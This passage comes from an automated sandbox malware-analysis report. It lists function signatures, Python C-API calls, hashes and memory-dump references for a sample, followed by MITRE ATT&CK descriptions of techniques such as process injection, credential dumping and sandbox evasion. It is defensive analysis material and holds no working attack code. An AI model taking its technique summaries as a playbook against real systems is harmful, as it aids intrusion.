PyObject_IsInstance.PYTHON312 ref: 00007FF8E7143530
PyObject_CallNoArgs.PYTHON312 ref: 00007FF8E7143542
PyErr_SetObject.PYTHON312 ref: 00007FF8E7143556
_Py_Dealloc.PYTHON312 ref: 00007FF8E714356A

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Object_$ArgsCallDeallocErr_InstanceObject
String ID:
API String ID: 469999563-0
Opcode ID: 735d7802508a943567c1b886ab3bcdb7dadecb2b687cb30f547209437c5526d2
Instruction ID: dc4e378708606954dd004217760b0a930a590b6593306583e5a57db477087cc8
Opcode Fuzzy Hash: 735d7802508a943567c1b886ab3bcdb7dadecb2b687cb30f547209437c5526d2
Instruction Fuzzy Hash: 65F0AF31E19B42C1EA594BA6E94433D63A2AF44FD1F045030CD6E4B754EF7CE4919702

Function 00007FF8E7144050 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

PyUnicode_New.PYTHON312 ref: 00007FF8E7144079
PyObject_Str.PYTHON312 ref: 00007FF8E71441BA

Strings

gfffffff, xrefs: 00007FF8E71440F4

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Object_Unicode_
String ID: gfffffff
API String ID: 3285369508-1523873471
Opcode ID: 01e85d9c1bd3d17e433c8fb88ec89fd76347e07627257ce4696b6525bbbdcfea
Instruction ID: f18dd1fa792336a3d609c9520622749811c466460284e1808a142e87ca7b75b6
Opcode Fuzzy Hash: 01e85d9c1bd3d17e433c8fb88ec89fd76347e07627257ce4696b6525bbbdcfea
Instruction Fuzzy Hash: 7A4145A2B0878583EB048B56E4113AD6BA0EBA1BE0F441130DE6E47795EE3CF542C742

Function 00007FF8E7153533 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON312 ref: 00007FF8E7153552
_Py_Dealloc.PYTHON312 ref: 00007FF8E7153570

Strings

<module>, xrefs: 00007FF8E7153822

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocDict_Item
String ID: <module>
API String ID: 1953171116-217463007
Opcode ID: d0256b5094a83c2cce43499a17dbe8ec4dca85f9fba9f3344b29a1cf4ce49e16
Instruction ID: c603ff8fad21cfe56887b0488f0330056048b2df20ff981cfa9148454ce56b5c
Opcode Fuzzy Hash: d0256b5094a83c2cce43499a17dbe8ec4dca85f9fba9f3344b29a1cf4ce49e16
Instruction Fuzzy Hash: D5012861E2DB8781FA0A9FD5E84137C27A1AF40BD8F445435C92D4B3A0EE3DE5459303

Function 00007FF8E7149220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON312 ref: 00007FF8E7149234

Part of subcall function 00007FF8E7143520: PyObject_IsInstance.PYTHON312 ref: 00007FF8E7143530
Part of subcall function 00007FF8E7143520: PyObject_CallNoArgs.PYTHON312 ref: 00007FF8E7143542
Part of subcall function 00007FF8E7143520: PyErr_SetObject.PYTHON312 ref: 00007FF8E7143556
Part of subcall function 00007FF8E7143520: _Py_Dealloc.PYTHON312 ref: 00007FF8E714356A

_Py_Dealloc.PYTHON312 ref: 00007FF8E7149258

Strings

feed, xrefs: 00007FF8E7149265

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Object_$Dealloc$ArgsAttrCallErr_InstanceObject
String ID: feed
API String ID: 1069087923-591414443
Opcode ID: ac8b0854f2a92f6ab02b8bc2362475409b68329c589d35864c18ec7a585ccd28
Instruction ID: 03d16053084d929d68953c2ea568a72fe873f46619b06a906f2c63cb9b5bb93a
Opcode Fuzzy Hash: ac8b0854f2a92f6ab02b8bc2362475409b68329c589d35864c18ec7a585ccd28
Instruction Fuzzy Hash: 17F0D465E0978780FA696BE1E84977823A1AF48BE4F041031C82E0B355EE2DE1898742

Function 00007FF8E7147400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E714741A

Strings

bool, xrefs: 00007FF8E7147437
'SuperWeirdWordPlugin' object attribute '_is_current_word_bad' cannot be deleted, xrefs: 00007FF8E7147410

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_is_current_word_bad' cannot be deleted$bool
API String ID: 1450464846-604167972
Opcode ID: 6d01e49ecab393e01afea90eacf9c2f202f3be594d726ec8172ccd587fa77b69
Instruction ID: 3375034d36ade6bad9b4a1c64aece0fe29e3d6251c76152e178aee580cd1a6a6
Opcode Fuzzy Hash: 6d01e49ecab393e01afea90eacf9c2f202f3be594d726ec8172ccd587fa77b69
Instruction Fuzzy Hash: 18F08265F05B82D1D90897A9D8D033C2761BB54BD4F985231D93C462E0FF1CE59A8702

Function 00007FF8E7149450 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON312 ref: 00007FF8E7149464

Part of subcall function 00007FF8E7143520: PyObject_IsInstance.PYTHON312 ref: 00007FF8E7143530
Part of subcall function 00007FF8E7143520: PyObject_CallNoArgs.PYTHON312 ref: 00007FF8E7143542
Part of subcall function 00007FF8E7143520: PyErr_SetObject.PYTHON312 ref: 00007FF8E7143556
Part of subcall function 00007FF8E7143520: _Py_Dealloc.PYTHON312 ref: 00007FF8E714356A

_Py_Dealloc.PYTHON312 ref: 00007FF8E7149488

Strings

ratio, xrefs: 00007FF8E7149495

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Object_$Dealloc$ArgsAttrCallErr_InstanceObject
String ID: ratio
API String ID: 1069087923-4234197119
Opcode ID: 5e78501f0d171a08875d62dc5a220b8c7582ed247167608e56f1788c768f6b2b
Instruction ID: 0b41542114ec2a88075691f09b9e365fab4a46271c0982711a7f3a4c5ee80bf6
Opcode Fuzzy Hash: 5e78501f0d171a08875d62dc5a220b8c7582ed247167608e56f1788c768f6b2b
Instruction Fuzzy Hash: CBF0DA65E0D787C0FA29ABA5E80537D23A1AF48BD4F085031C92D1B395EE7CE185C742

Function 00007FF8E7147490 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E71474AA

Strings

'SuperWeirdWordPlugin' object attribute '_foreign_long_watch' cannot be deleted, xrefs: 00007FF8E71474A0
bool, xrefs: 00007FF8E71474C7

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_foreign_long_watch' cannot be deleted$bool
API String ID: 1450464846-232606992
Opcode ID: f25d8b8b92148edbd20cfea33d340808ff6923455f8f104a8005e1d37519fff6
Instruction ID: 4d09a11c8dfcbf13c23e7a95881d3fde6af4b27bb872159b4a06389f33e6a407
Opcode Fuzzy Hash: f25d8b8b92148edbd20cfea33d340808ff6923455f8f104a8005e1d37519fff6
Instruction Fuzzy Hash: 5FF01265F09B82D1DA0897A9D8D133C6762BB54BD4F984231D53C463E0EE1CE59AC702

Function 00007FF8E71490F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON312 ref: 00007FF8E7149104

Part of subcall function 00007FF8E7143520: PyObject_IsInstance.PYTHON312 ref: 00007FF8E7143530
Part of subcall function 00007FF8E7143520: PyObject_CallNoArgs.PYTHON312 ref: 00007FF8E7143542
Part of subcall function 00007FF8E7143520: PyErr_SetObject.PYTHON312 ref: 00007FF8E7143556
Part of subcall function 00007FF8E7143520: _Py_Dealloc.PYTHON312 ref: 00007FF8E714356A

_Py_Dealloc.PYTHON312 ref: 00007FF8E7149128

Strings

eligible, xrefs: 00007FF8E7149135

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Object_$Dealloc$ArgsAttrCallErr_InstanceObject
String ID: eligible
API String ID: 1069087923-1278981203
Opcode ID: c4c18aafb7be077d316736c03388e8b3fc999084a9cdbfa9803da876a134bb0e
Instruction ID: ee1af9ccfdaa6554229f3e66323ef038961b0d26b47f654da654d3427c10509d
Opcode Fuzzy Hash: c4c18aafb7be077d316736c03388e8b3fc999084a9cdbfa9803da876a134bb0e
Instruction Fuzzy Hash: ECF0F8A9E0D787C4FE286BA1E84937C23A1AF48BE0F081071C82D1B355EE6CE0848702

Function 00007FF8E71482C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E71482DA

Strings

'ArchaicUpperLowerPlugin' object attribute '_buf' cannot be deleted, xrefs: 00007FF8E71482D0
bool, xrefs: 00007FF8E71482F7

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_buf' cannot be deleted$bool
API String ID: 1450464846-2595685569
Opcode ID: 5445f695030172c0d74eedf3e058939476bfcef05161a035b360ea2110cf5acd
Instruction ID: d0e13f2d8d00fd3fc6762c409060aad0b96b6a96d733107b57651adae7de19c2
Opcode Fuzzy Hash: 5445f695030172c0d74eedf3e058939476bfcef05161a035b360ea2110cf5acd
Instruction Fuzzy Hash: 73F01265F05B82D1DE0897A9D8D133C6761BB54BE4FA44231D53C462E0EE1CE59AD702

Function 00007FF8E7149350 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON312 ref: 00007FF8E7149364

Part of subcall function 00007FF8E7143520: PyObject_IsInstance.PYTHON312 ref: 00007FF8E7143530
Part of subcall function 00007FF8E7143520: PyObject_CallNoArgs.PYTHON312 ref: 00007FF8E7143542
Part of subcall function 00007FF8E7143520: PyErr_SetObject.PYTHON312 ref: 00007FF8E7143556
Part of subcall function 00007FF8E7143520: _Py_Dealloc.PYTHON312 ref: 00007FF8E714356A

_Py_Dealloc.PYTHON312 ref: 00007FF8E7149388

Strings

reset, xrefs: 00007FF8E7149395

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Object_$Dealloc$ArgsAttrCallErr_InstanceObject
String ID: reset
API String ID: 1069087923-1352515405
Opcode ID: bbdd62e7f99f6cbdd23793489bb35b56453e91b9374609213c62ce4e8be85285
Instruction ID: fb61bb5f43e337544298d8f4eb9d4b05d14d0c1f1b1bf4c8346c22d33c588cd1
Opcode Fuzzy Hash: bbdd62e7f99f6cbdd23793489bb35b56453e91b9374609213c62ce4e8be85285
Instruction Fuzzy Hash: C4F0F865E0D787C0FB29ABA1E84937C23A1AF49BD4F045031C82D0B3A5EE2CE1848742

Function 00007FF8E68B5D05 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8E68B5D18
_msize.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8E68B5D29

Strings

failed memory resize %u to %u bytes, xrefs: 00007FF8E68B5D32

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: _msizerealloc
String ID: failed memory resize %u to %u bytes
API String ID: 2713192863-2134078882
Opcode ID: 794ff9fe6cc79fca3eb8b32a7d0db32e1f3651fea452b404ed335f48275f614f
Instruction ID: f781979af693376cb680bd5c5f8a5f8b2ee9ade57636c794bc3e06e779cc0f33
Opcode Fuzzy Hash: 794ff9fe6cc79fca3eb8b32a7d0db32e1f3651fea452b404ed335f48275f614f
Instruction Fuzzy Hash: B2E02224B28B9181EA109B82F4882796320AF08FC8F085130EF0E0BF1EEF2CE442C741

Function 00007FF8E68FBE30 Relevance: 5.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,00007FF8E68F653C), ref: 00007FF8E68FBF9A
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,00007FF8E68F653C), ref: 00007FF8E68FBFC5
memset.VCRUNTIME140(?,?,?,?,?,?,?,?,?,00007FF8E68F653C), ref: 00007FF8E68FBFE1
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,00007FF8E68F653C), ref: 00007FF8E68FC026

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy$memset
String ID:
API String ID: 438689982-0
Opcode ID: bfb0ac5ed84636766fa95ca15f80bffa4fbbf97c836b5acfd07fd3517100af60
Instruction ID: 754f83acae9da80d882c35bbc642f5757b94278233d200580d5245a2c686d8df
Opcode Fuzzy Hash: bfb0ac5ed84636766fa95ca15f80bffa4fbbf97c836b5acfd07fd3517100af60
Instruction Fuzzy Hash: BC91E272B2C75A82E664CF95A44077A76A0FB84BD0F044135EE4D47B89DF3CE5A18B01

Function 00007FF8E68FC590 Relevance: 5.2, APIs: 4, Instructions: 220COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68FC677
memcpy.VCRUNTIME140 ref: 00007FF8E68FC6CB
memcpy.VCRUNTIME140 ref: 00007FF8E68FC727
memcpy.VCRUNTIME140 ref: 00007FF8E68FC7AB

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 0fc1c0f9dbc0d14581934465c76cd318a675b62778fa82b6186cc9449e27d309
Instruction ID: c7ef97dd48a71e24f4814927835ee37445ae024a399bed8a65faecf0dc0cada7
Opcode Fuzzy Hash: 0fc1c0f9dbc0d14581934465c76cd318a675b62778fa82b6186cc9449e27d309
Instruction Fuzzy Hash: FA91CC72B2CB6A86EA549E96909437A76A0FB44BE0F185239EF5D07BC1DF3CE1508701

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
